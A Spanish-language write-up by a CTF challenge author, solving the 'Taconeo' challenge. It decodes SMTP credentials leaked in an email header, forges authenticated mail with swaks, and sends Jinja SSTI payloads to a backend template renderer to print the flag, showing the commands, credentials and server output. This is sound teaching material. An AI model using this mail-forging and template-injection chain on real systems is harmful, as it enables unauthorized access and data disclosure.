WriteUp Desafío 'Taconeo' - CTF 8.8
/\___/\ ( o ^ o ) ( >o< ) ( ) ( ) ( )))))))))) '._....._,'
En primer lugar, quiero felicitar a las 3 personas/equipos que logaron resolver el desafío. Fue algo que armé a la rápida, con mucho cariño y harta dificultad en mente. Como anécdota, quiero mencionar que las dos primeras resoluciones explotaron la vulnerabilidad de una forma distinta a la que tenía planeada. Ya que esta solución hacía que el desafío fuera trivial y no dificil, decidí mitigarla apenas fui avisado.
-…- 1. Recon inicial -…-
La descripción del desafío habla de un grupo de desarrolladores que perdieron el control de uno de sus proyectos. Al ingresar al sitio, nos encontramos con un formulario de contacto que nos envía un correo electrónico cada vez que lo llenamos.
El repositorio en GitHub explica que el formulario corresponde a un sistema de gestión de tickets con una infraestructura innecesariamente compleja. Adjunto a las malas explicaciones se encuentra la siguiente imágen:
Acá podemos ver como el formulario (escrito en Flask) crea una plantilla de Jinja de manera dinámica con los datos del usuario. Luego, la envía a través de SMTP a un segundo programa que la renderiza e incluye el número de solicitud generado de forma aleatoria. Finalmente, el mensaje completo es enviado al usuario a través de correo. Revisando el código podemos ver la mayoría de este flujo.
En /web/app/app.py vemos cuando se toman los datos del formulario y se sanitizan antes de ser pasados a la función process_ticket.
Dentro de la función process_ticket, se genera la plantilla de manera dinámica y se incluye en un JSON junto con el correo del usuario. Después se llama a la función sendmail con el JSON como argumento.
La función sendmail simplemente envía un correo de webform@dominioreal.xyz a solicitud@dominioreal.xyz con el JSON generado en la parte anterior en el cuerpo del mensaje.
Importante mencionar que el servidor de correo que usa es 192.155.95.27, también conocido como dominioreal.xyz
$ nslookup 192.155.95.27 27.95.155.192.in-addr.arpa name = dominioreal.xyz.
Podemos suponer entonces que este corresponde al paso (1) en el diagrama, con la diferencia de que el envío del correo lo hace a través de internet y no internamente como el dibujo sugiere. Esto debería abrir una serie de preguntas:
P1. Ya que el envío del correo no ocurre de forma interna y el servidor se encuentra expuesto, ¿podré yo enviarle correos? P2. Si ese es el caso, significa que me puedo comunicar con el motor de plantillas directamente, saltándome la sanitización realizada por el formulario. ¿Ocurrirá otro proceso de sanitización? P3. Si mi contenido llega intacto al motor de plantillas, ¿podré enviar una plantilla maliciosa explotando un SSTI?
Veamos ahora el código de /backend/process_email.py aka. el motor de plantillas interno. Recordemos que este programa procesa todos los correos recibidos por el usuario solicitud@dominioreal.xyz de acuerdo a lo que podemos concluir de app.py junto con el diagrama.
Primero vemos una variable llamada FLAG. Esto nos hace saber inmediatamente que este es el programa que debemos explotar para resolver el desafío.
También vemos cómo el programa procesa el cuerpo del correo, extrayendo la plantilla y el correo del usuario del objeto JSON.
Y aquí un detalle crucial. Al renderizar la plantilla, además de pasar la variable “codigo”, también incluye “flag”, dejándola en el namespace accesible por la plantilla (con un “{{ flag }}” por ejemplo).
Este programa sí hace el envío de correos de manera interna, autenticándose con localhost utilizando usuario y contraseña. También hay un comentario un poco extraño sobre el traspaso de credenciales entre componentes.
Esto nos dice que el servidor postfix requiere autenticación. Podemos validar esto conectándonos directamente al servidor y validando que ofrezca el comando AUTH.
$ ncat dominioreal.xyz 25 220 dominioreal.xyz ESMTP Postfix (Gud yob) EHLO sigint 250-dominioreal.xyz 250-PIPELINING 250-SIZE 10240000 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 NTLM 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 NTLM 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250-SMTPUTF8 250 CHUNKING
Con esta evidencia tratemos de responder nuestras preguntas, una por una :)
-…- 2. Explotación -…-
-…- 2.1 ¿Podría enviar correos directamente al servidor? -…-
Saquémonos la duda rapidamente:
$ swaks --to "solicitud@dominioreal.xyz" --from "webform@dominioreal.xyz" --server dominioreal.xyz:25 === Trying dominioreal.xyz:25... === Connected to dominioreal.xyz. <- 220 dominioreal.xyz ESMTP Postfix (Gud yob) -> EHLO sigint <- 250-dominioreal.xyz <- 250-PIPELINING <- 250-SIZE 10240000 <- 250-VRFY <- 250-ETRN <- 250-STARTTLS <- 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 NTLM <- 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 NTLM <- 250-ENHANCEDSTATUSCODES <- 250-8BITMIME <- 250-DSN <- 250-SMTPUTF8 <- 250 CHUNKING -> MAIL FROM:<webform@dominioreal.xyz> <- 250 2.1.0 Ok -> RCPT TO:<solicitud@dominioreal.xyz> <- 550 5.7.23 <solicitud@dominioreal.xyz>: Recipient address rejected: Message rejected due to: SPF fail - not authorized. Please see http://www.openspf.net/Why?s=mfrom;id=webform@dominioreal.xyz;ip=xxx.xxx.xx.xx;r=<UNKNOWN> -> QUIT <- 221 2.0.0 Bye === Connection closed with remote host
Demonios, no estamos pasando SPF. Tiene sentido considerando que dominioreal.xyz solo permite el envío de correos desde el sitio que estamos analizando.
$ dig txt +short dominioreal.xyz "v=spf1 a -all"
Cambiando de foco, al analizar uno de los correos legítimos que recibimos, notamos que existe una cabecera inusual: C-Auth.
... MIME-Version: 1.0 Subject: Comprobante Solicitud From: solicitud@dominioreal.xyz To: neo@sigint.in C-Auth: cG9zdGZpeHNlbmRlcjpGQ0hCZzNqcmtUNkJvaEttQ3R1aExrVjlscXFuZGVOdHAK Message-Id: <20231112014548.DD78E4BA67@dominioreal.xyz> Date: Sun, 12 Nov 2023 01:45:48 +0000 (UTC) ...
Si decodificamos su valor, nos encontramos con un usuario y contraseña omaigat.
$ base64 -d <<< cG9zdGZpeHNlbmRlcjpGQ0hCZzNqcmtUNkJvaEttQ3R1aExrVjlscXFuZGVOdHAK postfixsender:FCHBg3jrkT6BohKmCtuhLkV9lqqndeNtp
Ahora al hacer el mismo ejercicio de antes, pero ingresando estas nuevas credenciales, logramos autenticarnos de manera exitosa con el servidor de correo y nuestro mensaje queda en la cola :)
Aún así, no recibimos nada en nuestra casilla. Pero no lo olvidemos, el backend espera que el cuerpo del correo sea un objeto JSON! Intentemos de nuevo con un mensaje válido.
$ swaks --to "solicitud@dominioreal.xyz" \ --from "webform@dominioreal.xyz" \ --server dominioreal.xyz:25 \ --auth-user postfixsender \ --auth-pass FCHBg3jrkT6BohKmCtuhLkV9lqqndeNtp \ --body '{"template":"test","email":"neo@sigint.in"}'
La respuesta entonces es sí, podemos enviar correos forjados!!
-…- 2.2 ¿Ocurrirá otro proceso de sanitización? -…-
Recordemos cuáles son los carácteres eliminados por el formulario:
En /backend/process_email.py nunca se sanitiza el contenido, porque se asume que ya viene limpio del frontend. Podemos validar esto enviando un correo con carácteres prohibidos.
$ swaks --to "solicitud@dominioreal.xyz" \ --from "webform@dominioreal.xyz" \ --server dominioreal.xyz:25 \ --auth-user postfixsender \ --auth-pass FCHBg3jrkT6BohKmCtuhLkV9lqqndeNtp \ --body '{"template":"%{}()+","email":"neo@sigint.in"}'
Fantástico, efectivamente no ocurre otro proceso de sanitización.
-…- 2.3 ¿Podré enviar una plantilla maliciosa explotando un SSTI? -…-
Si bien hay mil y un formas de validar esto, partamos enviando a ya saben quién:
{"template":"{{7*7}}","email":"neo@sigint.in"}
Ahora es cosa de recordar las variables que se inyectan en el namespace del template: codigo y flag. Veamos ambas:
{"template":"{{codigo}} {{flag}}","email":"neo@sigint.in"}
Y tenemos la flag :)
flag{4ut3nt1c4c1on_SMTP?}